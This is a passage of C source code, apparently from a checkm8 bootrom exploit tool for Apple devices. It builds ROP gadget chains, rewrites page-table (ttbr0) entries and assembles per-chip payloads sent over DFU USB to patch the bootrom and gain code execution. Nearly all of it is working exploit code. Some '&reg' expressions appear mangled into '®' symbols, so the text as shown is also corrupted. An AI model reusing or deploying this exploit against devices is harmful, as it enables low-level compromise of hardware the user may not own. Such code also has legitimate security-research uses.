addr += MAX_BLOCK_SZ;
}
if(i + j < callback_cnt - 1) {
reg = func_gadget;
memcpy(block_0 + block_0_sz, ®, sizeof(reg));
block_0_sz += sizeof(reg);
reg = addr;
memcpy(block_0 + block_0_sz, ®, sizeof(reg));
block_0_sz += sizeof(reg);
reg = callbacks[i + j].arg;
memcpy(block_1 + block_1_sz, ®, sizeof(reg));
block_1_sz += sizeof(reg);
reg = callbacks[i + j].func;
memcpy(block_1 + block_1_sz, ®, sizeof(reg));
block_1_sz += sizeof(reg);
} else if(i + j == callback_cnt - 1) {
reg = func_gadget;
memcpy(block_0 + block_0_sz, ®, sizeof(reg));
block_0_sz += sizeof(reg);
reg = 0;
memcpy(block_0 + block_0_sz, ®, sizeof(reg));
block_0_sz += sizeof(reg);
reg = callbacks[i + j].arg;
memcpy(block_1 + block_1_sz, ®, sizeof(reg));
block_1_sz += sizeof(reg);
reg = callbacks[i + j].func;
memcpy(block_1 + block_1_sz, ®, sizeof(reg));
block_1_sz += sizeof(reg);
} else {
reg = 0;
memcpy(block_0 + block_0_sz, ®, sizeof(reg));
block_0_sz += sizeof(reg);
reg = 0;
memcpy(block_0 + block_0_sz, ®, sizeof(reg));
block_0_sz += sizeof(reg);
}
}
memcpy(buf + sz, block_0, block_0_sz);
sz += block_0_sz;
memcpy(buf + sz, block_1, block_1_sz);
sz += block_1_sz;
}
return sz;
}
static bool
dfu_send_data(const usb_handle_t *handle, uint8_t *data, size_t len) {
transfer_ret_t transfer_ret;
size_t i, packet_sz;
for(i = 0; i < len; i += packet_sz) {
packet_sz = MIN(len - i, DFU_MAX_TRANSFER_SZ);
if(!send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz, &transfer_ret) || transfer_ret.ret != USB_TRANSFER_OK || transfer_ret.sz != packet_sz) {
return false;
}
}
return send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == DFU_FILE_SUFFIX_LEN && dfu_set_state_wait_reset(handle);
}
static bool
read_binary_file(const char *filename, uint8_t **buf, size_t *len) {
FILE *fp = fopen(filename, "rb");
bool ret = false;
if(fp != NULL) {
if(fseek(fp, 0, SEEK_END) == 0 && (*len = (size_t)ftell(fp)) != 0 && (*buf = malloc(*len)) != NULL) {
rewind(fp);
ret = fread(*buf, 1, *len, fp) == *len;
}
fclose(fp);
}
if(!ret) {
printf("Cannot read file \"%s\".\n", filename);
}
return ret;
}
static bool
checkm8_stage_patch(const usb_handle_t *handle) {
struct {
uint64_t pwnd[2], payload_dest, dfu_handle_bus_reset, dfu_handle_request, payload_off, payload_sz, memcpy_addr, gUSBSerialNumber, usb_create_string_descriptor, usb_serial_number_string_descriptor, ttbr0_vrom_addr, patch_addr;
} A9;
struct {
uint64_t pwnd[2], payload_dest, dfu_handle_bus_reset, dfu_handle_request, payload_off, payload_sz, memcpy_addr, gUSBSerialNumber, usb_create_string_descriptor, usb_serial_number_string_descriptor, patch_addr;
} notA9;
struct {
uint32_t pwnd[4], payload_dest, dfu_handle_bus_reset, dfu_handle_request, payload_off, payload_sz, memcpy_addr, gUSBSerialNumber, usb_create_string_descriptor, usb_serial_number_string_descriptor;
} notA9_armv7;
struct {
uint64_t handle_interface_request, insecure_memory_base, exec_magic, done_magic, memc_magic, memcpy_addr, usb_core_do_transfer;
} handle_checkm8_request;
struct {
uint32_t handle_interface_request, insecure_memory_base, exec_magic, done_magic, memc_magic, memcpy_addr, usb_core_do_transfer;
} handle_checkm8_request_armv7;
callback_t callbacks[] = {
{ write_ttbr0, insecure_memory_base },
{ tlbi, 0 },
{ insecure_memory_base + ARM_16K_TT_L2_SZ + ttbr0_sram_off + 2 * sizeof(uint64_t), 0 },
{ write_ttbr0, ttbr0_addr },
{ tlbi, 0 },
{ ret_gadget, 0 }
};
size_t i, data_sz, packet_sz, payload_sz, overwrite_sz, payload_handle_checkm8_request_sz;
uint8_t *data, *payload, *payload_handle_checkm8_request;
checkm8_overwrite_armv7_t checkm8_overwrite_armv7;
checkm8_overwrite_t checkm8_overwrite;
transfer_ret_t transfer_ret;
bool ret = false;
void *overwrite;
uint64_t reg;
if(cpid == 0x8003 || cpid == 0x8000) {
if(payload_A9_bin_len > sizeof(A9)) {
payload = payload_A9_bin;
payload_sz = payload_A9_bin_len - sizeof(A9);
} else {
payload = NULL;
payload_sz = 0;
}
} else if(cpid == 0x8960 || cpid == 0x7001 || cpid == 0x7000 || cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) {
if(payload_notA9_bin_len > sizeof(notA9)) {
payload = payload_notA9_bin;
payload_sz = payload_notA9_bin_len - sizeof(notA9);
} else {
payload = NULL;
payload_sz = 0;
}
} else if(payload_notA9_armv7_bin_len > sizeof(notA9_armv7)) {
payload = payload_notA9_armv7_bin;
payload_sz = payload_notA9_armv7_bin_len - sizeof(notA9_armv7);
} else {
payload = NULL;
payload_sz = 0;
}
if(payload != NULL) {
if(cpid == 0x8960 || cpid == 0x7001 || cpid == 0x7000 || cpid == 0x8003 || cpid == 0x8000 || cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) {
if(payload_handle_checkm8_request_bin_len > sizeof(handle_checkm8_request)) {
payload_handle_checkm8_request = payload_handle_checkm8_request_bin;
payload_handle_checkm8_request_sz = payload_handle_checkm8_request_bin_len - sizeof(handle_checkm8_request);
if(cpid == 0x8003 || cpid == 0x8000) {
data = calloc(1, payload_sz + sizeof(A9) + payload_handle_checkm8_request_sz + sizeof(handle_checkm8_request));
} else if(cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) {
data = calloc(1, DFU_MAX_TRANSFER_SZ + payload_sz + sizeof(notA9) + payload_handle_checkm8_request_sz + sizeof(handle_checkm8_request));
} else {
data = calloc(1, payload_sz + sizeof(notA9) + payload_handle_checkm8_request_sz + sizeof(handle_checkm8_request));
}
} else {
payload_handle_checkm8_request = NULL;
payload_handle_checkm8_request_sz = 0;
data = NULL;
}
} else if(payload_handle_checkm8_request_armv7_bin_len > sizeof(handle_checkm8_request_armv7)) {
payload_handle_checkm8_request = payload_handle_checkm8_request_armv7_bin;
payload_handle_checkm8_request_sz = payload_handle_checkm8_request_armv7_bin_len - sizeof(handle_checkm8_request_armv7);
data = calloc(1, payload_sz + sizeof(notA9_armv7) + payload_handle_checkm8_request_sz + sizeof(handle_checkm8_request_armv7));
} else {
payload_handle_checkm8_request = NULL;
payload_handle_checkm8_request_sz = 0;
data = NULL;
}
if(data != NULL) {
if(cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) {
reg = 0x1000006A5;
memcpy(data + ttbr0_vrom_off, ®, sizeof(reg));
reg = 0x60000100000625;
memcpy(data + ttbr0_vrom_off + sizeof(reg), ®, sizeof(reg));
reg = 0x60000180000625;
memcpy(data + ttbr0_sram_off, ®, sizeof(reg));
reg = 0x1800006A5;
memcpy(data + ttbr0_sram_off + sizeof(reg), ®, sizeof(reg));
usb_rop_callbacks(data + offsetof(dfu_callback_t, callback), insecure_memory_base, callbacks, sizeof(callbacks) / sizeof(callbacks[0]));
data_sz = ttbr0_sram_off + 2 * sizeof(reg);
} else {
data_sz = 0;
}
memcpy(data + data_sz, payload, payload_sz);
data_sz += payload_sz;
if(cpid == 0x8003 || cpid == 0x8000) {
memset(A9.pwnd, '\0', sizeof(A9.pwnd));
memcpy(A9.pwnd, pwnd_str, strlen(pwnd_str));
A9.payload_dest = boot_tramp_end - payload_handle_checkm8_request_sz - sizeof(handle_checkm8_request);
A9.dfu_handle_bus_reset = dfu_handle_bus_reset;
A9.dfu_handle_request = dfu_handle_request;
A9.payload_off = payload_sz + sizeof(A9);
A9.payload_sz = payload_handle_checkm8_request_sz + sizeof(handle_checkm8_request);
A9.memcpy_addr = memcpy_addr;
A9.gUSBSerialNumber = gUSBSerialNumber;
A9.usb_create_string_descriptor = usb_create_string_descriptor;
A9.usb_serial_number_string_descriptor = usb_serial_number_string_descriptor;
A9.ttbr0_vrom_addr = ttbr0_addr + ttbr0_vrom_off;
A9.patch_addr = patch_addr;
memcpy(data + data_sz, &A9, sizeof(A9));
data_sz += sizeof(A9);
memcpy(data + data_sz, payload_handle_checkm8_request, payload_handle_checkm8_request_sz);
data_sz += payload_handle_checkm8_request_sz;
handle_checkm8_request.handle_interface_request = handle_interface_request;
handle_checkm8_request.insecure_memory_base = insecure_memory_base;
handle_checkm8_request.exec_magic = EXEC_MAGIC;
handle_checkm8_request.done_magic = DONE_MAGIC;
handle_checkm8_request.memc_magic = MEMC_MAGIC;